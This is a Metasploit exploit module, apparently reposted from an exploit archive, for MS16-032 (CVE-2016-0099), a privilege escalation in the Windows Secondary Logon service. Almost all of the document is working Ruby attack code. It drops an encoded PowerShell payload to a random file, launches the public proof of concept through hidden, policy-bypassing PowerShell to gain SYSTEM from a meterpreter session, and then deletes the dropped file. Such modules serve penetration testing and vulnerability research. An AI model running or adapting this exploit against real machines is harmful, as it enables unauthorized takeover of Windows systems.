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MS16-032 Secondary Logon Handle Privilege Escalation

Posted on 13 July 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'

class MetasploitModule < Msf::Exploit::Local

Rank = NormalRanking

include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info = {})
super(update_info(info,
'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
'Description' => %q{
This module exploits the lack of sanitization of standard handles in Windows' Secondary
Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
32 and 64 bit. This module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.
},
'License' => BSD_LICENSE,
'Author' =>
[
'James Forshaw', # twitter.com/tiraniddo
'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
'khr0x40sh'
],
'References' =>
[
[ 'MS', 'MS16-032'],
[ 'CVE', '2016-0099'],
[ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
[ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Mar 21 2016',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
# Tested on (32 bits):
# * Windows 7 SP1
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 8
# * Windows 2012
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0
))

register_advanced_options(
[
OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
# How long until we DELETE file, we have a race condition here, so anything less than 60
# seconds might break
OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
], self.class)
end

def get_arch
arch = nil

if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end

arch
end

def check
os = sysinfo["OS"]

if os !~ /win/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Detected
end

def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

arch1 = get_arch
if check == Exploit::CheckCode::Safe
print_error("Target is not Windows")
return
elsif arch1 == nil
print_error("Architecture could not be determined.")
return
end

# Exploit PoC from 'b33f'
ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
vprint_status("PS1 loaded from #{ps_path}")
ms16_032 = File.read(ps_path)

cmdstr = expand_path('%windir%') << '\System32\windowspowershell\v1.0\powershell.exe'

if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
cmdstr.gsub!("System32","SYSWOW64")
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
vprint_warning("#{cmdstr}")
end

# payload formatted to fit dropped text file
payl = cmd_psh_payload(payload.encoded,payload.arch,{
encode_final_payload: false,
remove_comspec: true,
method: 'old'
})

payl.sub!(/.*?(?=New-Object IO)/im, "")
payl = payl.split("';$s.")[0]
payl.gsub!("''","'")
payl = "$s=#{payl}while($true){Start-Sleep 1000};"

@upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
path = datastore['W_PATH'] || pwd
@upfile = "#{path}\#{@upfile}"
fd = session.fs.file.new(@upfile,"wb")
print_status("Writing payload file, #{@upfile}...")
fd.write(payl)
fd.close
psh_cmd = "IEX `$(gc #{@upfile})"

#lpAppName
ms16_032.gsub!("$cmd",""#{cmdstr}"")
#lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1","" -exec Bypass -nonI -window Hidden #{psh_cmd}"")

print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)

if ms16_032_c.size > 8100
print_error("Compressed size: #{ms16_032_c.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
else
print_good("Compressed size: #{ms16_032_c.size}")
end

if datastore['DRY_RUN']
print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
return
end

print_status("Executing exploit script...")
cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
args = nil

begin
process = session.sys.process.execute(cmd, args, {
'Hidden' => true,
'Channelized' => false
})
rescue
print_error("An error occurred executing the script.")
end
end

def cleanup
sleep_t = datastore['TIMEOUT']
vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
sleep sleep_t

begin
rm_f(@upfile)
print_good("Cleaned up #{@upfile}")
rescue
print_error("There was an issue with cleanup of the powershell payload script.")
end
end
end

 

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